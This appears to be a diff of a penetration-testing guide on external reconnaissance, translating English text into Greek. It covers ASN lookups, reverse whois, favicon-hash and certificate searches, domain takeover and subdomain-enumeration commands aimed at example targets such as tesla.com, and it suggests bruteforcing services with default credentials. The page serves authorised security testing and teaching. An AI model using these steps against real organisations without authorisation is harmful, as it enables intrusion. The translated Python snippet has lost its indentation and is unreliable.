-3. Use reverse whois lookups to search for other entries (organisation names, domains...) related to the first one (this can be done recursively) -4. Use other techniques like shodan `org`and `ssl`filters to search for other assets (the `ssl` trick can be done recursively). +Πρώτα απ' όλα, πρέπει να γνωρίζουμε ποιες **άλλες εταιρείες ανήκουν στην κύρια εταιρεία**.\ +Μια επιλογή είναι να επισκεφθείτε το [https://www.crunchbase.com/](https://www.crunchbase.com), **να αναζητήσετε** την **κύρια εταιρεία**, και **να κάνετε κλικ** στις "**εξαγορές**". Εκεί θα δείτε άλλες εταιρείες που αποκτήθηκαν από την κύρια.\ +Μια άλλη επιλογή είναι να επισκεφθείτε τη σελίδα **Wikipedia** της κύριας εταιρείας και να αναζητήσετε **εξαγορές**. -### **Acquisitions** - -First of all, we need to know which **other companies are owned by the main company**.\ -One option is to visit [https://www.crunchbase.com/](https://www.crunchbase.com), **search** for the **main company**, and **click** on "**acquisitions**". There you will see other companies acquired by the main one.\ -Other option is to visit the **Wikipedia** page of the main company and search for **acquisitions**. - -> Ok, at this point you should know all the companies inside the scope. Lets figure out how to find their assets. +> Εντάξει, σε αυτό το σημείο θα πρέπει να γνωρίζετε όλες τις εταιρείες εντός του πεδίου εφαρμογής. Ας δούμε πώς να βρούμε τα περιουσιακά τους στοιχεία. ### **ASNs** -An autonomous system number (**ASN**) is a **unique number** assigned to an **autonomous system** (AS) by the **Internet Assigned Numbers Authority (IANA)**.\ -An **AS** consists of **blocks** of **IP addresses** which have a distinctly defined policy for accessing external networks and are administered by a single organisation but may be made up of several operators. - -It's interesting to find if the **company have assigned any ASN** to find its **IP ranges.** It will be interested to perform a **vulnerability test** against all the **hosts** inside the **scope** and **look for domains** inside these IPs.\ -You can **search** by company **name**, by **IP** or by **domain** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\ -**Depending on the region of the company this links could be useful to gather more data:** [**AFRINIC**](https://www.afrinic.net) **(Africa),** [**Arin**](https://www.arin.net/about/welcome/region/)**(North America),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Latin America),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Anyway, probably all the** useful information **(IP ranges and Whois)** appears already in the first link. +Ένας αριθμός αυτόνομου συστήματος (**ASN**) είναι ένας **μοναδικός αριθμός** που αποδίδεται σε ένα **αυτόνομο σύστημα** (AS) από την **Αρχή Ανάθεσης Αριθμών Διαδικτύου (IANA)**.\ +Ένα **AS** αποτελείται από **μπλοκ** **διευθύνσεων IP** που έχουν μια σαφώς καθορισμένη πολιτική για την πρόσβαση σε εξωτερικά δίκτυα και διοικούνται από μια μόνο οργάνωση αλλά μπορεί να αποτελείται από αρκετούς φορείς. +Είναι ενδιαφέρον να βρούμε αν η **εταιρεία έχει αναθέσει κάποιο ASN** για να βρούμε τις **περιοχές IP της.** Θα είναι ενδιαφέρον να εκτελέσουμε μια **δοκιμή ευπάθειας** σε όλους τους **φιλοξενούμενους** εντός του **πεδίου εφαρμογής** και **να αναζητήσουμε τομείς** μέσα σε αυτές τις IPs.\ +Μπορείτε να **αναζητήσετε** με το όνομα της εταιρείας, με **IP** ή με **τομέα** στο [**https://bgp.he.net/**](https://bgp.he.net)**.**\ +**Ανάλογα με την περιοχή της εταιρείας, αυτοί οι σύνδεσμοι θα μπορούσαν να είναι χρήσιμοι για τη συλλογή περισσότερων δεδομένων:** [**AFRINIC**](https://www.afrinic.net) **(Αφρική),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Βόρεια Αμερική),** [**APNIC**](https://www.apnic.net) **(Ασία),** [**LACNIC**](https://www.lacnic.net) **(Λατινική Αμερική),** [**RIPE NCC**](https://www.ripe.net) **(Ευρώπη). Ούτως ή άλλως, πιθανώς όλες οι** χρήσιμες πληροφορίες **(περιοχές IP και Whois)** εμφανίζονται ήδη στον πρώτο σύνδεσμο. ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla amass intel -asn 8911,50313,394161 ``` - -Also, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomain enumeration automatically aggregates and summarizes ASNs at the end of the scan. - +Επίσης, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** η αναγνώριση υποτομέων συγκεντρώνει και συνοψίζει αυτόματα τα ASNs στο τέλος της σάρωσης. ```bash bbot -t tesla.com -f subdomain-enum ... @@ -60,62 +52,59 @@ bbot -t tesla.com -f subdomain-enum [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+ ``` +Μπορείτε να βρείτε τα εύρη IP μιας οργάνωσης χρησιμοποιώντας επίσης [http://asnlookup.com/](http://asnlookup.com) (έχει δωρεάν API).\ +Μπορείτε να βρείτε το IP και το ASN ενός τομέα χρησιμοποιώντας [http://ipv4info.com/](http://ipv4info.com). -You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com) (it has free API).\ -You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com). +### **Αναζητώντας ευπάθειες** -### **Looking for vulnerabilities** +Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του πεδίου**, οπότε αν έχετε άδεια, μπορείτε να εκκινήσετε κάποιο **σάρωσης ευπαθειών** (Nessus, OpenVAS) σε όλους τους hosts.\ +Επίσης, μπορείτε να εκκινήσετε κάποιες [**σάρωσεις θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) **ή να χρησιμοποιήσετε υπηρεσίες όπως** shodan **για να βρείτε** ανοιχτές θύρες **και ανάλογα με το τι θα βρείτε, θα πρέπει να** ρίξετε μια ματιά σε αυτό το βιβλίο για το πώς να κάνετε pentest σε πολλές πιθανές υπηρεσίες που τρέχουν.\ +**Επίσης, αξίζει να αναφερθεί ότι μπορείτε επίσης να προετοιμάσετε κάποιες** λίστες με προεπιλεγμένα ονόματα χρήστη **και** κωδικούς πρόσβασης **και να προσπαθήσετε να** κάνετε bruteforce υπηρεσίες με [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). -At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\ -Also, you could launch some [**port scans**](../pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible services running.\ -**Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). +## Τομείς -## Domains +> Γνωρίζουμε όλες τις εταιρείες εντός του πεδίου και τα περιουσιακά τους στοιχεία, ήρθε η ώρα να βρούμε τους τομείς εντός του πεδίου. -> We know all the companies inside the scope and their assets, it's time to find the domains inside the scope. +_Παρακαλώ σημειώστε ότι στις παρακάτω προτεινόμενες τεχνικές μπορείτε επίσης να βρείτε υποτομείς και αυτή η πληροφορία δεν θα πρέπει να υποτιμάται._ -_Please, note that in the following purposed techniques you can also find subdomains and that information shouldn't be underrated._ +Πρώτα απ' όλα, θα πρέπει να αναζητήσετε τον **κύριο τομέα**(ες) κάθε εταιρείας. Για παράδειγμα, για την _Tesla Inc._ θα είναι _tesla.com_. -First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_. - -### **Reverse DNS** - -As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8) +### **Αντίστροφη DNS** +Καθώς έχετε βρει όλα τα εύρη IP των τομέων, μπορείτε να προσπαθήσετε να εκτελέσετε **αντίστροφες αναζητήσεις dns** σε αυτές τις **IPs για να βρείτε περισσότερους τομείς εντός του πεδίου**. Προσπαθήστε να χρησιμοποιήσετε κάποιον dns server του θύματος ή κάποιον γνωστό dns server (1.1.1.1, 8.8.8.8) ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` +Για να λειτουργήσει αυτό, ο διαχειριστής πρέπει να ενεργοποιήσει χειροκίνητα το PTR.\ +Μπορείτε επίσης να χρησιμοποιήσετε ένα διαδικτυακό εργαλείο για αυτές τις πληροφορίες: [http://ptrarchive.com/](http://ptrarchive.com) -For this to work, the administrator has to enable manually the PTR.\ -You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com) +### **Αντίστροφος Whois (loop)** -### **Reverse Whois (loop)** +Μέσα σε ένα **whois** μπορείτε να βρείτε πολλές ενδιαφέρουσες **πληροφορίες** όπως **όνομα οργανισμού**, **διεύθυνση**, **emails**, αριθμούς τηλεφώνου... Αλλά το πιο ενδιαφέρον είναι ότι μπορείτε να βρείτε **περισσότερα περιουσιακά στοιχεία που σχετίζονται με την εταιρεία** αν εκτελέσετε **αντίστροφες αναζητήσεις whois με οποιοδήποτε από αυτά τα πεδία** (για παράδειγμα άλλες καταχωρίσεις whois όπου εμφανίζεται το ίδιο email).\ +Μπορείτε να χρησιμοποιήσετε διαδικτυακά εργαλεία όπως: -Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\ -You can use online tools like: +- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Δωρεάν** +- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Δωρεάν** +- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Δωρεάν** +- [https://www.whoxy.com/](https://www.whoxy.com) - **Δωρεάν** web, όχι δωρεάν API. +- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Όχι δωρεάν +- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Όχι δωρεάν (μόνο **100 δωρεάν** αναζητήσεις) +- [https://www.domainiq.com/](https://www.domainiq.com) - Όχι δωρεάν -- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Free** -- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Free** -- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Free** -- [https://www.whoxy.com/](https://www.whoxy.com) - **Free** web, not free API. -- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Not free -- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Not Free (only **100 free** searches) -- [https://www.domainiq.com/](https://www.domainiq.com) - Not Free +Μπορείτε να αυτοματοποιήσετε αυτή την εργασία χρησιμοποιώντας [**DomLink** ](https://github.com/vysecurity/DomLink)(απαιτεί κλειδί API whoxy).\ +Μπορείτε επίσης να εκτελέσετε κάποια αυτόματη ανακάλυψη αντίστροφου whois με [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` -You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\ -You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` - -**Note that you can use this technique to discover more domain names every time you find a new domain.** +**Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτή την τεχνική για να ανακαλύψετε περισσότερα ονόματα τομέα κάθε φορά που βρίσκετε ένα νέο τομέα.** ### **Trackers** -If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\ -For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages. +Αν βρείτε το **ίδιο ID του ίδιου tracker** σε 2 διαφορετικές σελίδες μπορείτε να υποθέσετε ότι **και οι δύο σελίδες** διαχειρίζονται από την **ίδια ομάδα**.\ +Για παράδειγμα, αν δείτε το ίδιο **Google Analytics ID** ή το ίδιο **Adsense ID** σε πολλές σελίδες. -There are some pages and tools that let you search by these trackers and more: +Υπάρχουν κάποιες σελίδες και εργαλεία που σας επιτρέπουν να αναζητήσετε με αυτούς τους trackers και περισσότερα: - [**Udon**](https://github.com/dhn/udon) - [**BuiltWith**](https://builtwith.com) @@ -125,113 +114,99 @@ There are some pages and tools that let you search by these trackers and more: ### **Favicon** -Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it: - +Γνωρίζατε ότι μπορούμε να βρούμε σχετικούς τομείς και υποτομείς με τον στόχο μας αναζητώντας το ίδιο hash εικονιδίου favicon; Αυτό ακριβώς κάνει το εργαλείο [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) που έχει δημιουργήσει ο [@m4ll0k2](https://twitter.com/m4ll0k2). Ορίστε πώς να το χρησιμοποιήσετε: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s ``` +![favihash - ανακαλύψτε τομείς με το ίδιο hash εικονιδίου favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) -![favihash - discover domains with the same favicon icon hash](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) - -Simply said, favihash will allow us to discover domains that have the same favicon icon hash as our target. - -Moreover, you can also search technologies using the favicon hash as explained in [**this blog post**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). That means that if you know the **hash of the favicon of a vulnerable version of a web tech** you can search if in shodan and **find more vulnerable places**: +Απλά, το favihash θα μας επιτρέψει να ανακαλύψουμε τομείς που έχουν το ίδιο hash εικονιδίου favicon με τον στόχο μας. +Επιπλέον, μπορείτε επίσης να αναζητήσετε τεχνολογίες χρησιμοποιώντας το hash του favicon όπως εξηγείται σε [**αυτή την ανάρτηση blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Αυτό σημαίνει ότι αν γνωρίζετε το **hash του favicon μιας ευάλωτης έκδοσης μιας διαδικτυακής τεχνολογίας** μπορείτε να αναζητήσετε αν στο shodan και **να βρείτε περισσότερες ευάλωτες τοποθεσίες**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` - -This is how you can **calculate the favicon hash** of a web: - +Αυτός είναι ο τρόπος για να **υπολογίσετε το hash του favicon** ενός ιστότοπου: ```python import mmh3 import requests import codecs def fav_hash(url): - response = requests.get(url) - favicon = codecs.encode(response.content,"base64") - fhash = mmh3.hash(favicon) - print(f"{url} : {fhash}") - return fhash +response = requests.get(url) +favicon = codecs.encode(response.content,"base64") +fhash = mmh3.hash(favicon) +print(f"{url} : {fhash}") +return fhash ``` +### **Πνευματικά Δικαιώματα / Μοναδική αλυσίδα** -### **Copyright / Uniq string** +Αναζητήστε μέσα στις ιστοσελίδες **αλυσίδες που θα μπορούσαν να μοιραστούν σε διάφορες ιστοσελίδες της ίδιας οργάνωσης**. Η **αλυσίδα πνευματικών δικαιωμάτων** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια, αναζητήστε αυτή την αλυσίδα σε **google**, σε άλλους **πλοηγούς** ή ακόμα και σε **shodan**: `shodan search http.html:"Copyright string"` -Search inside the web pages **strings that could be shared across different webs in the same organisation**. The **copyright string** could be a good example. Then search for that string in **google**, in other **browsers** or even in **shodan**: `shodan search http.html:"Copyright string"` - -### **CRT Time** - -It's common to have a cron job such as +### **Χρόνος CRT** +Είναι κοινό να υπάρχει μια εργασία cron όπως ```bash # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` +να ανανεώσετε όλα τα πιστοποιητικά τομέα στον διακομιστή. Αυτό σημαίνει ότι ακόμη και αν η CA που χρησιμοποιείται για αυτό δεν ορίζει την ώρα που δημιουργήθηκε στην περίοδο ισχύος, είναι δυνατόν να **βρείτε τομείς που ανήκουν στην ίδια εταιρεία στα αρχεία διαφάνειας πιστοποιητικών**.\ +Δείτε αυτό το [**writeup για περισσότερες πληροφορίες**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). -to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\ -Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). +### Πληροφορίες DMARC Mail -### Mail DMARC information - -You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domains and subdomain sharing the same dmarc information**. +Μπορείτε να χρησιμοποιήσετε έναν ιστότοπο όπως [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) ή ένα εργαλείο όπως [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) για να βρείτε **τομείς και υποτομείς που μοιράζονται τις ίδιες πληροφορίες DMARC**. ### **Passive Takeover** -Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **lose that IP address but forget about removing the DNS record**. Therefore, just **spawning a VM** in a cloud (like Digital Ocean) you will be actually **taking over some subdomains(s)**. +Φαίνεται ότι είναι κοινό για τους ανθρώπους να αναθέτουν υποτομείς σε IP που ανήκουν σε παρόχους cloud και σε κάποιο σημείο **να χάσουν αυτήν την διεύθυνση IP αλλά να ξεχάσουν να αφαιρέσουν την εγγραφή DNS**. Επομένως, απλά **δημιουργώντας μια VM** σε ένα cloud (όπως το Digital Ocean) θα **αναλαμβάνετε στην πραγματικότητα κάποιους υποτομείς**. -[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it. +[**Αυτή η ανάρτηση**](https://kmsec.uk/blog/passive-takeover/) εξηγεί μια ιστορία σχετικά με αυτό και προτείνει ένα σενάριο που **δημιουργεί μια VM στο DigitalOcean**, **παίρνει** την **IPv4** της νέας μηχανής και **αναζητά σε Virustotal για εγγραφές υποτομέων** που δείχνουν σε αυτήν. -### **Other ways** +### **Άλλοι τρόποι** -**Note that you can use this technique to discover more domain names every time you find a new domain.** +**Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτήν την τεχνική για να ανακαλύψετε περισσότερα ονόματα τομέων κάθε φορά που βρίσκετε έναν νέο τομέα.** **Shodan** -As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate. +Όπως ήδη γνωρίζετε το όνομα της οργάνωσης που κατέχει τον χώρο IP. Μπορείτε να αναζητήσετε με αυτά τα δεδομένα στο shodan χρησιμοποιώντας: `org:"Tesla, Inc."` Ελέγξτε τους βρεθέντες διακομιστές για νέους απροσδόκητους τομείς στο πιστοποιητικό TLS. -You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). +Μπορείτε να αποκτήσετε πρόσβαση στο **πιστοποιητικό TLS** της κύριας ιστοσελίδας, να αποκτήσετε το **όνομα Οργάνωσης** και στη συνέχεια να αναζητήσετε αυτό το όνομα μέσα στα **πιστοποιητικά TLS** όλων των ιστοσελίδων που είναι γνωστές από το **shodan** με το φίλτρο: `ssl:"Tesla Motors"` ή να χρησιμοποιήσετε ένα εργαλείο όπως [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). **Assetfinder** -[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing. +[**Assetfinder**](https://github.com/tomnomnom/assetfinder) είναι ένα εργαλείο που αναζητά **τομείς σχετικούς** με έναν κύριο τομέα και **υποτομείς** αυτών, αρκετά εκπληκτικό. -### **Looking for vulnerabilities** +### **Αναζητώντας ευπάθειες** -Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company. +Ελέγξτε για κάποια [ανάληψη τομέα](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Ίσως κάποια εταιρεία **χρησιμοποιεί κάποιον τομέα** αλλά **έχασε την ιδιοκτησία**. Απλά καταχωρίστε τον (αν είναι αρκετά φθηνός) και ενημερώστε την εταιρεία. -If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -&#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +Αν βρείτε οποιονδήποτε **τομέα με μια IP διαφορετική** από αυτές που έχετε ήδη βρει στην ανακάλυψη περιουσιακών στοιχείων, θα πρέπει να εκτελέσετε μια **βασική σάρωση ευπαθειών** (χρησιμοποιώντας Nessus ή OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που εκτελούνται, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\ +&#xNAN;_Note ότι μερικές φορές ο τομέας φιλοξενείται μέσα σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο εφαρμογής, να είστε προσεκτικοί._ -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} -## Subdomains +## Υποτομείς -> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies. +> Γνωρίζουμε όλες τις εταιρείες εντός του πεδίου εφαρμογής, όλα τα περιουσιακά στοιχεία κάθε εταιρείας και όλους τους τομείς που σχετίζονται με τις εταιρείες. -It's time to find all the possible subdomains of each found domain. +Ήρθε η ώρα να βρούμε όλους τους πιθανούς υποτομείς κάθε βρεθέντος τομέα. > [!TIP] -> Note that some of the tools and techniques to find domains can also help to find subdomains +> Σημειώστε ότι ορισμένα από τα εργαλεία και τις τεχνικές για την εύρεση τομέων μπορούν επίσης να βοηθήσουν στην εύρεση υποτομέων ### **DNS** -Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it). - +Ας προσπαθήσουμε να αποκτήσουμε **υποτομείς** από τις **εγγραφές DNS**. Πρέπει επίσης να προσπαθήσουμε για **Μεταφορά Ζώνης** (Αν είναι ευάλωτη, θα πρέπει να το αναφέρετε). ```bash dnsrecon -a -d tesla.com ``` - ### **OSINT** -The fastest way to obtain a lot of subdomains is search in external sources. The most used **tools** are the following ones (for better results configure the API keys): +Ο ταχύτερος τρόπος για να αποκτήσετε πολλούς υποτομείς είναι η αναζήτηση σε εξωτερικές πηγές. Τα πιο χρησιμοποιούμενα **εργαλεία** είναι τα εξής (για καλύτερα αποτελέσματα ρυθμίστε τα κλειδιά API): - [**BBOT**](https://github.com/blacklanternsecurity/bbot) - ```bash # subdomains bbot -t tesla.com -f subdomain-enum @@ -242,108 +217,80 @@ bbot -t tesla.com -f subdomain-enum -rf passive # subdomains + port scan + web screenshots bbot -t tesla.com -f subdomain-enum -m naabu gowitness -n my_scan -o . ``` - - [**Amass**](https://github.com/OWASP/Amass) - ```bash amass enum [-active] [-ip] -d tesla.com amass enum -d tesla.com | grep tesla.com # To just list subdomains ``` - - [**subfinder**](https://github.com/projectdiscovery/subfinder) - ```bash # Subfinder, use -silent to only have subdomains in the output ./subfinder-linux-amd64 -d tesla.com [-silent] ``` - - [**findomain**](https://github.com/Edu4rdSHL/findomain/) - ```bash # findomain, use -silent to only have subdomains in the output ./findomain-linux -t tesla.com [--quiet] ``` - - [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/en-us) - ```bash python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run ``` - - [**assetfinder**](https://github.com/tomnomnom/assetfinder) - ```bash assetfinder --subs-only ``` - - [**Sudomy**](https://github.com/Screetsec/Sudomy) - ```bash # It requires that you create a sudomy.api file with API keys sudomy -d tesla.com ``` - - [**vita**](https://github.com/junnlikestea/vita) - ``` vita -d tesla.com ``` - - [**theHarvester**](https://github.com/laramies/theHarvester) - ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` +Υπάρχουν **άλλα ενδιαφέροντα εργαλεία/APIs** που, ακόμη και αν δεν είναι άμεσα εξειδικευμένα στην εύρεση υποτομέων, θα μπορούσαν να είναι χρήσιμα για την εύρεση υποτομέων, όπως: -There are **other interesting tools/APIs** that even if not directly specialised in finding subdomains could be useful to find subdomains, like: - -- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Uses the API [https://sonar.omnisint.io](https://sonar.omnisint.io) to obtain subdomains - +- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Χρησιμοποιεί το API [https://sonar.omnisint.io](https://sonar.omnisint.io) για να αποκτήσει υποτομείς ```bash # Get list of subdomains in output from the API ## This is the API the crobat tool will use curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]" ``` - -- [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com) - +- [**JLDC δωρεάν API**](https://jldc.me/anubis/subdomains/google.com) ```bash curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]" ``` - -- [**RapidDNS**](https://rapiddns.io) free API - +- [**RapidDNS**](https://rapiddns.io) δωρεάν API ```bash # Get Domains from rapiddns free API rapiddns(){ - curl -s "https://rapiddns.io/subdomain/$1?full=1" \ - | grep -oE "[\.a-zA-Z0-9-]+\.$1" \ - | sort -u +curl -s "https://rapiddns.io/subdomain/$1?full=1" \ +| grep -oE "[\.a-zA-Z0-9-]+\.$1" \ +| sort -u } rapiddns tesla.com ``` - - [**https://crt.sh/**](https://crt.sh) - ```bash # Get Domains from crt free API crt(){ - curl -s "https://crt.sh/?q=%25.$1" \ - | grep -oE "[\.a-zA-Z0-9-]+\.$1" \ - | sort -u +curl -s "https://crt.sh/?q=%25.$1" \ +| grep -oE "[\.a-zA-Z0-9-]+\.$1" \ +| sort -u } crt tesla.com ``` - -- [**gau**](https://github.com/lc/gau)**:** fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl for any given domain. - +- [**gau**](https://github.com/lc/gau)**:** ανακτά γνωστές διευθύνσεις URL από το Open Threat Exchange της AlienVault, το Wayback Machine και το Common Crawl για οποιοδήποτε δεδομένο τομέα. ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u ``` - -- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): They scrap the web looking for JS files and extract subdomains from there. - +- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Ψάχνουν στο διαδίκτυο για αρχεία JS και εξάγουν υποτομείς από εκεί. ```bash # Get only subdomains from SubDomainizer python3 SubDomainizer.py -u https://tesla.com | grep tesla.com @@ -351,42 +298,35 @@ python3 SubDomainizer.py -u https://tesla.com | grep tesla.com # Get only subdomains from subscraper, this already perform recursion over the found results python subscraper.py -u tesla.com | grep tesla.com | cut -d " " -f ``` - - [**Shodan**](https://www.shodan.io/) - ```bash # Get info about the domain shodan domain # Get other pages with links to subdomains shodan search "http.html:help.domain.com" ``` - - [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder) - ```bash export CENSYS_API_ID=... export CENSYS_API_SECRET=... python3 censys-subdomain-finder.py tesla.com ``` - - [**DomainTrail.py**](https://github.com/gatete/DomainTrail) - ```bash python3 DomainTrail.py -d example.com ``` - -- [**securitytrails.com**](https://securitytrails.com/) has a free API to search for subdomains and IP history +- [**securitytrails.com**](https://securitytrails.com/) έχει δωρεάν API για αναζήτηση υποτομέων και ιστορικό IP - [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) -This project offers for **free all the subdomains related to bug-bounty programs**. You can access this data also using [chaospy](https://github.com/dr-0x0x/chaospy) or even access the scope used by this project [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) +Αυτό το έργο προσφέρει **δωρεάν όλους τους υποτομείς που σχετίζονται με προγράμματα bug-bounty**. Μπορείτε να αποκτήσετε πρόσβαση σε αυτά τα δεδομένα χρησιμοποιώντας επίσης [chaospy](https://github.com/dr-0x0x/chaospy) ή ακόμα και να αποκτήσετε πρόσβαση στο πεδίο που χρησιμοποιείται από αυτό το έργο [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) -You can find a **comparison** of many of these tools here: 